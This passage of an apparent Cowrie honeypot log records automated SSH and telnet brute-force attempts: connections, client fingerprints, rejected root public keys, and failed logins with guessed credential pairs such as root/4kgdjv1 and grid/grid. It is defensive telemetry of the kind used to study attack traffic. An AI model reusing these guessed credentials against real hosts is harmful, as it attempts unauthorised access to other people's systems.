{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:49:9f:60:e5:ad:c0:5d:fd:7d:51:c4:1b:65:11:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyvJSr41H+aiGTRmia1lNL1p2nksmRgE1XWcKMEatmfxScOrxnvLaJpa/b7P0nc+dtBv+6lbHtQ3uCvk2wtSxhbF/IMQE8wW7ZoRqFADRly4aXxM18YbO8Rf8FdLS7NgVgLh4hAadHxes+cEqCEvT2fjKYRryoepO7PZDEAfew0MHhdchULOcU27g5jO1VmtQX1v3YFKn7Um1LcXH7Jlj8kwh7h+56HwO78q67VLIui4SecgJ9HxfH9edTU4+gfz++JO2oGBOaF6Xz35fWIYceTwn2jkNbafLDBX3Zq18vmZ0flv/NQcC3o3MERHM0dqjKExgL4f6cbf2YBPjTHln1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:49:9f:60:e5:ad:c0:5d:fd:7d:51:c4:1b:65:11:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.657664Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:49:9f:60:e5:ad:c0:5d:fd:7d:51:c4:1b:65:11:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyvJSr41H+aiGTRmia1lNL1p2nksmRgE1XWcKMEatmfxScOrxnvLaJpa/b7P0nc+dtBv+6lbHtQ3uCvk2wtSxhbF/IMQE8wW7ZoRqFADRly4aXxM18YbO8Rf8FdLS7NgVgLh4hAadHxes+cEqCEvT2fjKYRryoepO7PZDEAfew0MHhdchULOcU27g5jO1VmtQX1v3YFKn7Um1LcXH7Jlj8kwh7h+56HwO78q67VLIui4SecgJ9HxfH9edTU4+gfz++JO2oGBOaF6Xz35fWIYceTwn2jkNbafLDBX3Zq18vmZ0flv/NQcC3o3MERHM0dqjKExgL4f6cbf2YBPjTHln1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.661810Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:ea:a3:13:4a:0c:35:28:ac:c0:cf:9d:d4:7e:aa:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDChTL6TmYRHGg0hfGeB/7EFJL91oEVVxp5XbVk0cP3YEg3edMvQb25H5grAKAZGGMkLfbBrQgfMD0OVKXgO08xoiNn8J/D10mKSKrNPCKDxYaLWj2PPGH4X/bsoI9iB6LOl8B1Tm5/mGBSY24Ar7fyHbPfq9VnPT7FKXfwItUX4pzrWURoUlyI71/nQvyuv5oEA1Rge+7Gq3vALZf62cSZZEiqQNLdTTchiB3tbom92U8XgGIn7pXzmj4OZAVd7jlsGEtL+sqrwtEE5VRAgv+XWZ1NP7A7uSSM03XViCEcis2cZeUzALl4beCTGnlWlyKESAkaAqiJsaPB1fCs6uVz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:ea:a3:13:4a:0c:35:28:ac:c0:cf:9d:d4:7e:aa:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.684720Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:ea:a3:13:4a:0c:35:28:ac:c0:cf:9d:d4:7e:aa:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDChTL6TmYRHGg0hfGeB/7EFJL91oEVVxp5XbVk0cP3YEg3edMvQb25H5grAKAZGGMkLfbBrQgfMD0OVKXgO08xoiNn8J/D10mKSKrNPCKDxYaLWj2PPGH4X/bsoI9iB6LOl8B1Tm5/mGBSY24Ar7fyHbPfq9VnPT7FKXfwItUX4pzrWURoUlyI71/nQvyuv5oEA1Rge+7Gq3vALZf62cSZZEiqQNLdTTchiB3tbom92U8XgGIn7pXzmj4OZAVd7jlsGEtL+sqrwtEE5VRAgv+XWZ1NP7A7uSSM03XViCEcis2cZeUzALl4beCTGnlWlyKESAkaAqiJsaPB1fCs6uVz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.691201Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:fb:1d:a7:c2:20:24:5a:12:67:e2:39:c1:f5:b5:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYufkWsx0YE8qroo3DclOHRRM+qI0IqTMKUnGUL7HA4+bbWrBtodU83g8Xe+B4TWW73stYnqJV8PbES8NkeJcc228O5u6vo9G6OcVYJzizGKASQujgXrYu4JTylT3uupFTj4nNoyDvIx5fVT5cLWCIfr/oQN/ELmJbIXhDF1KG2gWdr20Gds/R6wumkm5biH8BaOW1gXgPHkvcU0vXiDMUKxuYixvNxrjsvG4SvdeAlEy9I8q1J+uX3UB0jerlivxJt8H5OqgCeap8tL0bp1/U68yUxQGSo68ESHDXG1TlHcjMXTorDza4QJ/iShaf278WaZRPdMgxKjb/lPSJ0Q1h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:fb:1d:a7:c2:20:24:5a:12:67:e2:39:c1:f5:b5:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.714812Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:fb:1d:a7:c2:20:24:5a:12:67:e2:39:c1:f5:b5:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYufkWsx0YE8qroo3DclOHRRM+qI0IqTMKUnGUL7HA4+bbWrBtodU83g8Xe+B4TWW73stYnqJV8PbES8NkeJcc228O5u6vo9G6OcVYJzizGKASQujgXrYu4JTylT3uupFTj4nNoyDvIx5fVT5cLWCIfr/oQN/ELmJbIXhDF1KG2gWdr20Gds/R6wumkm5biH8BaOW1gXgPHkvcU0vXiDMUKxuYixvNxrjsvG4SvdeAlEy9I8q1J+uX3UB0jerlivxJt8H5OqgCeap8tL0bp1/U68yUxQGSo68ESHDXG1TlHcjMXTorDza4QJ/iShaf278WaZRPdMgxKjb/lPSJ0Q1h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.719123Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.740919Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:45.119147Z","src_ip":"103.82.20.28","session":"7270b0224e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":37260,"dst_ip":"10.17.0.5","dst_port":22,"session":"50555a85f650","protocol":"ssh","message":"New connection: 190.223.60.209:37260 (10.17.0.5:22) [session: 50555a85f650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:06.983868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:06.989031Z","src_ip":"190.223.60.209","session":"50555a85f650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:07.115794Z","src_ip":"190.223.60.209","session":"50555a85f650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":40706,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe85cb2d5aa","protocol":"ssh","message":"New connection: 103.173.227.57:40706 (10.17.0.5:22) [session: 4fe85cb2d5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:07.630733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:07.637123Z","src_ip":"103.173.227.57","session":"4fe85cb2d5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jarservice","password":"jarservice","message":"login attempt [jarservice/jarservice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:07.653034Z","src_ip":"190.223.60.209","session":"50555a85f650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:07.890243Z","src_ip":"103.173.227.57","session":"4fe85cb2d5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4kgdjv1","message":"login attempt [root/4kgdjv1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:08.647666Z","src_ip":"103.173.227.57","session":"4fe85cb2d5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:08.790222Z","src_ip":"190.223.60.209","session":"50555a85f650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:09.902574Z","src_ip":"103.173.227.57","session":"4fe85cb2d5aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":42380,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ec262a807f2","protocol":"ssh","message":"New connection: 20.160.86.7:42380 (10.17.0.5:22) [session: 3ec262a807f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:10.518819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:10.523194Z","src_ip":"20.160.86.7","session":"3ec262a807f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:10.603306Z","src_ip":"20.160.86.7","session":"3ec262a807f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:10.958600Z","src_ip":"20.160.86.7","session":"3ec262a807f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00136232376099,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:11.662258Z","src_ip":"98.30.219.209","session":"feafe375b472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51846,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc50ebf201e0","protocol":"ssh","message":"New connection: 103.15.222.183:51846 (10.17.0.5:22) [session: dc50ebf201e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:11.746023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:11.758239Z","src_ip":"103.15.222.183","session":"dc50ebf201e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:12.000008Z","src_ip":"103.15.222.183","session":"dc50ebf201e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:12.041655Z","src_ip":"20.160.86.7","session":"3ec262a807f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":48995,"dst_ip":"10.17.0.5","dst_port":23,"session":"a83e75670bbf","protocol":"telnet","message":"New connection: 98.30.219.209:48995 (10.17.0.5:23) [session: a83e75670bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:12.674699Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837465q","message":"login attempt [root/192837465q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:13.000427Z","src_ip":"103.15.222.183","session":"dc50ebf201e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:14.256707Z","src_ip":"103.15.222.183","session":"dc50ebf201e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":49144,"dst_ip":"10.17.0.5","dst_port":23,"session":"f43ee140ed43","protocol":"telnet","message":"New connection: 98.30.219.209:49144 (10.17.0.5:23) [session: f43ee140ed43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:22.486819Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":49393,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a424849710","protocol":"telnet","message":"New connection: 98.30.219.209:49393 (10.17.0.5:23) [session: a9a424849710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:38.065295Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":42262,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe646b0541ec","protocol":"ssh","message":"New connection: 14.103.118.145:42262 (159.203.135.109:22) [session: fe646b0541ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:51.585877Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":51182,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5e1c5947f2","protocol":"ssh","message":"New connection: 45.144.233.56:51182 (10.17.0.5:22) [session: 3a5e1c5947f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:56.544908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:56.549884Z","src_ip":"45.144.233.56","session":"3a5e1c5947f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:56.646443Z","src_ip":"45.144.233.56","session":"3a5e1c5947f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"1234","message":"login attempt [devuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:57.053458Z","src_ip":"45.144.233.56","session":"3a5e1c5947f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:03:58.152940Z","src_ip":"45.144.233.56","session":"3a5e1c5947f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":43784,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbc4ba7e0653","protocol":"ssh","message":"New connection: 20.160.86.7:43784 (10.17.0.5:22) [session: fbc4ba7e0653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:38.069852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:38.074553Z","src_ip":"20.160.86.7","session":"fbc4ba7e0653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 